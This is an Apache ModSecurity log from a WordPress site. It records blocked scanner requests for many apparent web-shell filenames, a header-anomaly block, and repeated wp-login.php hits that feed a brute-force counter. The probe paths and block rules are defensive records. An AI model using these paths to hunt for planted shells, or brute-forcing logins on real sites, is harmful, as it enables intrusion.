[Wed Dec 17 07:36:11.063912 2025] [:error] [pid 13215:tid 13221] [client 202.73.26.78:58588] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aUHs63pS_Sk4Oyp_UPFySAAAAAE"]
[Wed Dec 17 07:36:11.598974 2025] [:error] [pid 13302:tid 13312] [client 202.73.26.78:60251] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aUHs6xDfKV-_W5RvJZ_EEQAAAMg"]
[Wed Dec 17 07:36:12.206274 2025] [:error] [pid 13302:tid 13324] [client 202.73.26.78:56727] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUHs7BDfKV-_W5RvJZ_EFwAAANQ"]
[Wed Dec 17 07:36:12.744634 2025] [:error] [pid 13216:tid 13269] [client 202.73.26.78:62040] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aUHs7NkjYVDtADMjze5JiQAAAFQ"]
[Wed Dec 17 07:36:13.277162 2025] [:error] [pid 13216:tid 13255] [client 202.73.26.78:55128] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/blurbs.php"] [unique_id "aUHs7dkjYVDtADMjze5JiwAAAEg"]
[Wed Dec 17 07:36:13.825376 2025] [:error] [pid 13216:tid 13266] [client 202.73.26.78:49704] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aUHs7dkjYVDtADMjze5JkAAAAFI"]
[Wed Dec 17 07:36:14.358462 2025] [:error] [pid 13216:tid 13255] [client 202.73.26.78:53096] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aUHs7tkjYVDtADMjze5JlwAAAEg"]
[Wed Dec 17 07:36:14.897516 2025] [:error] [pid 13217:tid 13285] [client 202.73.26.78:65035] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shelp.php"] [unique_id "aUHs7rKPEDQzeQkr6QJObQAAAIs"]
[Wed Dec 17 07:36:15.430942 2025] [:error] [pid 7715:tid 7723] [client 202.73.26.78:52136] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/cord.php"] [unique_id "aUHs75AcSlSgZepNKb_VewAAAQY"]
[Wed Dec 17 07:36:15.971543 2025] [:error] [pid 13302:tid 13305] [client 202.73.26.78:61469] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aUHs7xDfKV-_W5RvJZ_ELAAAAME"]
[Wed Dec 17 07:36:16.505234 2025] [:error] [pid 13302:tid 13328] [client 202.73.26.78:53452] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aUHs8BDfKV-_W5RvJZ_ELwAAANg"]
[Wed Dec 17 07:36:17.039065 2025] [:error] [pid 13215:tid 13229] [client 202.73.26.78:56950] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file2.php"] [unique_id "aUHs8XpS_Sk4Oyp_UPFyTwAAAAk"]
[Wed Dec 17 07:36:17.584688 2025] [:error] [pid 7715:tid 7736] [client 202.73.26.78:53162] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aUHs8ZAcSlSgZepNKb_VgwAAARM"]
[Wed Dec 17 07:36:18.143528 2025] [:error] [pid 13217:tid 13273] [client 202.73.26.78:63513] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/zwso.php"] [unique_id "aUHs8rKPEDQzeQkr6QJOdwAAAII"]
[Wed Dec 17 07:36:18.683902 2025] [:error] [pid 7715:tid 7737] [client 202.73.26.78:52203] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "aUHs8pAcSlSgZepNKb_VigAAARQ"]
[Wed Dec 17 07:36:19.218895 2025] [:error] [pid 13302:tid 13311] [client 202.73.26.78:54426] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aUHs8xDfKV-_W5RvJZ_EOwAAAMc"]
[Wed Dec 17 07:36:19.793147 2025] [:error] [pid 13217:tid 13285] [client 202.73.26.78:60838] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shlo.php"] [unique_id "aUHs87KPEDQzeQkr6QJOeAAAAIs"]
[Wed Dec 17 07:36:20.327403 2025] [:error] [pid 7715:tid 7723] [client 202.73.26.78:52906] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/133.php"] [unique_id "aUHs9JAcSlSgZepNKb_VlAAAAQY"]
[Wed Dec 17 07:36:20.870770 2025] [:error] [pid 7715:tid 7736] [client 202.73.26.78:60437] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aUHs9JAcSlSgZepNKb_VmwAAARM"]
[Wed Dec 17 07:36:21.400503 2025] [:error] [pid 13215:tid 13235] [client 202.73.26.78:53702] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/php8.php"] [unique_id "aUHs9XpS_Sk4Oyp_UPFyWAAAAA8"]
[Wed Dec 17 07:36:21.949726 2025] [:error] [pid 13217:tid 13288] [client 202.73.26.78:62274] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/lufix1.php"] [unique_id "aUHs9bKPEDQzeQkr6QJOfAAAAI4"]
[Wed Dec 17 07:36:22.480335 2025] [:error] [pid 13302:tid 13311] [client 202.73.26.78:62278] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/witmm.php"] [unique_id "aUHs9hDfKV-_W5RvJZ_ERgAAAMc"]
[Wed Dec 17 07:36:23.030944 2025] [:error] [pid 13217:tid 13293] [client 202.73.26.78:60523] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/index.php"] [unique_id "aUHs97KPEDQzeQkr6QJOigAAAJM"]
[Wed Dec 17 07:36:23.561918 2025] [:error] [pid 13217:tid 13268] [client 202.73.26.78:61618] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aUHs97KPEDQzeQkr6QJOkgAAAIA"]
[Wed Dec 17 07:36:24.107263 2025] [:error] [pid 13302:tid 13324] [client 202.73.26.78:57997] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aUHs-BDfKV-_W5RvJZ_EVQAAANQ"]
[Wed Dec 17 07:36:24.647050 2025] [:error] [pid 13217:tid 13287] [client 202.73.26.78:61221] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aUHs-LKPEDQzeQkr6QJOmwAAAI0"]
[Wed Dec 17 07:36:25.232520 2025] [:error] [pid 13302:tid 13326] [client 202.73.26.78:59128] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aUHs-RDfKV-_W5RvJZ_EXAAAANY"]
[Wed Dec 17 07:36:25.781337 2025] [:error] [pid 7715:tid 7736] [client 202.73.26.78:64453] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aUHs-ZAcSlSgZepNKb_VrgAAARM"]
[Wed Dec 17 07:36:26.313128 2025] [:error] [pid 7715:tid 7733] [client 202.73.26.78:61683] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-editor.php"] [unique_id "aUHs-pAcSlSgZepNKb_VswAAARA"]
[Wed Dec 17 07:36:26.857187 2025] [:error] [pid 13216:tid 13265] [client 202.73.26.78:62784] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "aUHs-tkjYVDtADMjze5JwAAAAFE"]
[Wed Dec 17 07:36:27.389272 2025] [:error] [pid 13215:tid 13243] [client 202.73.26.78:62976] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/txets.php"] [unique_id "aUHs-3pS_Sk4Oyp_UPFyYAAAABc"]
[Wed Dec 17 07:36:27.940172 2025] [:error] [pid 13216:tid 13249] [client 202.73.26.78:57543] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/txets.php"] [unique_id "aUHs-9kjYVDtADMjze5JxAAAAEI"]
[Wed Dec 17 07:36:28.472389 2025] [:error] [pid 13217:tid 13292] [client 202.73.26.78:62306] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/postnews.php"] [unique_id "aUHs_LKPEDQzeQkr6QJOpgAAAJI"]
[Wed Dec 17 07:36:29.003760 2025] [:error] [pid 7715:tid 7735] [client 202.73.26.78:59381] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/postnews.php"] [unique_id "aUHs_ZAcSlSgZepNKb_VwgAAARI"]
[Wed Dec 17 07:36:29.536859 2025] [:error] [pid 13302:tid 13312] [client 202.73.26.78:49727] [client 202.73.26.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/postnews.php"] [unique_id "aUHs_RDfKV-_W5RvJZ_EbQAAAMg"]
[Wed Dec 17 12:29:35.552917 2025] [:error] [pid 45621:tid 45635] [client 223.244.35.77:60116] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aUIxr-VNGQfJ1rR90pSuiQAAAMk"]
[Wed Dec 17 13:27:37.790564 2025] [:error] [pid 45532:tid 45611] [client 173.239.224.185:37487] [client 173.239.224.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_SQeWB-JXOyTKNs2u3QAAAJU"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:27:43.557733 2025] [:error] [pid 45532:tid 45605] [client 173.239.224.185:37487] [client 173.239.224.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_TweWB-JXOyTKNs2u5gAAAI8"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:27:56.033263 2025] [:error] [pid 45530:tid 45556] [client 173.239.224.181:36673] [client 173.239.224.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.181, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_XG4IsXcKlf7LWf9S2QAAABU"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:28:00.573314 2025] [:error] [pid 45530:tid 45557] [client 173.239.224.181:36673] [client 173.239.224.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.181, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_YG4IsXcKlf7LWf9S3gAAABY"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:28:07.290869 2025] [:error] [pid 45531:tid 45569] [client 173.239.224.195:44389] [client 173.239.224.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_Z4juE-Fd-sBWjvX1cQAAAEY"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:28:11.481734 2025] [:error] [pid 45531:tid 45571] [client 173.239.224.195:44389] [client 173.239.224.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_a4juE-Fd-sBWjvX1dwAAAEg"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:28:20.692798 2025] [:error] [pid 11733:tid 11752] [client 173.239.224.185:30217] [client 173.239.224.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_dDzmtBRXExJb1PF6LQAAARE"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:28:25.438040 2025] [:error] [pid 11733:tid 11754] [client 173.239.224.185:30217] [client 173.239.224.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_eTzmtBRXExJb1PF6OAAAARM"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:28:36.088875 2025] [:error] [pid 45621:tid 45648] [client 173.239.224.182:38011] [client 173.239.224.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_hOVNGQfJ1rR90pTHxAAAANY"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:28:40.210802 2025] [:error] [pid 45621:tid 45637] [client 173.239.224.182:38011] [client 173.239.224.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_iOVNGQfJ1rR90pTHyAAAAMs"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:28:53.017762 2025] [:error] [pid 45530:tid 45546] [client 173.239.224.201:52383] [client 173.239.224.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_lW4IsXcKlf7LWf9TawAAAAs"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:28:57.514169 2025] [:error] [pid 45530:tid 45555] [client 173.239.224.201:52383] [client 173.239.224.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_mW4IsXcKlf7LWf9ThwAAABQ"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:29:09.346750 2025] [:error] [pid 45530:tid 45538] [client 173.239.224.176:61557] [client 173.239.224.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_pW4IsXcKlf7LWf9TpAAAAAM"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:29:24.482402 2025] [:error] [pid 45531:tid 45571] [client 173.239.224.180:57083] [client 173.239.224.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_tIjuE-Fd-sBWjvX2EgAAAEg"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:29:28.257561 2025] [:error] [pid 45531:tid 45564] [client 173.239.224.180:57083] [client 173.239.224.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_uIjuE-Fd-sBWjvX2FQAAAEE"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:30:12.666417 2025] [:error] [pid 45530:tid 45555] [client 173.239.224.177:53583] [client 173.239.224.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_5G4IsXcKlf7LWf9UCAAAABQ"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:30:18.951777 2025] [:error] [pid 11733:tid 11735] [client 173.239.224.189:52283] [client 173.239.224.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_6jzmtBRXExJb1PF63wAAAQA"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:30:24.313675 2025] [:error] [pid 11733:tid 11759] [client 173.239.224.189:52283] [client 173.239.224.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUI_8DzmtBRXExJb1PF65QAAARg"], referer: https://gigfragments.org/wp-admin/
[Wed Dec 17 13:30:51.129569 2025] [:error] [pid 45621:tid 45646] [client 173.239.224.176:54027] [client 173.239.224.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUJAC-VNGQfJ1rR90pTImAAAANQ"], referer: https://gigfragments.org/wp-admin/
